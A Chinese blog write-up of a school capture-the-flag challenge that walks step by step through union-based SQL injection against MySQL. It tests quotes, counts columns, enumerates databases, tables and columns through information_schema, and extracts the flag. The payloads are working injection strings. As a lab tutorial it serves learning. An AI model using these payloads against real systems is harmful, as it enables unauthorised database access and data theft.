SQL入门

校赛题sql注入

在这里插入图片描述看到一个框框在右上角,开始尝试注入

输入 1’

在这里插入图片描述
在这里插入图片描述
报错!

输入 1"

在这里插入图片描述
在这里插入图片描述
没报错!

输入 ’ union select 1,2#

'是为了闭合前面的单引号
#是为了注释掉后面有的东西
中间的语句就是一条普通的查询语句查询出数据库有多少列,当输入为select 1或者select 1,2,3时都会报错,只有这样才不报错
在这里插入图片描述
所以有两列

’ union select 1,group_concat(schema_name) from information_schema.schemata#

爆出所有数据库名称!
因为只有两列,所以select后面只能跟两个量
前面一个随意,另一个
group_concat(schema_name)是将所有数据库名打印并用逗号隔开
information_schema.schemata是储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等
在这里插入图片描述
得到两个,一看便知ctf是我们要找的数据库

’ union select TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA=‘ctf’#

爆出所有数据表名称!
TABLE_NAME是数据表名称
information_schema.TABLES是储存数据表的地方
TABLE_SCHEMA='ctf’是从取数据库名为ctf中的数据表名

如果ctf不用单引号括起来,就要用url编码一下 TABLE_SCHEMA=0x637466

在这里插入图片描述
得到两个数据库,gwht看着像,于是知道gwht是我们要找的数据表

’ union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=‘gwht’#

爆出数据表的所有字段名称!
COLUMN_NAME就是字段名称
information_schema.COLUMNS是储存字段名称的地方
TABLE_NAME='gwht’是刚刚爆出来的表名称

如果gwht不用单引号括起来,就要用url编码一下

在这里插入图片描述
终于看到flag了,fl4444g是表中一个字段的名称,估计其中的值就是我们的答案了

’ union select fl4444g,2 from ctf.gwht#

爆值!
fl4444g是刚刚爆出来的字段名称
from后面跟的是数据库名.数据表名,也就是上两个步骤爆出来的值,ctf.gwht
得到答案!
在这里插入图片描述
GWHT{5ql_so-great~!@}

第一次完整的做出一道sql注入题,感觉非常开心,真香

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值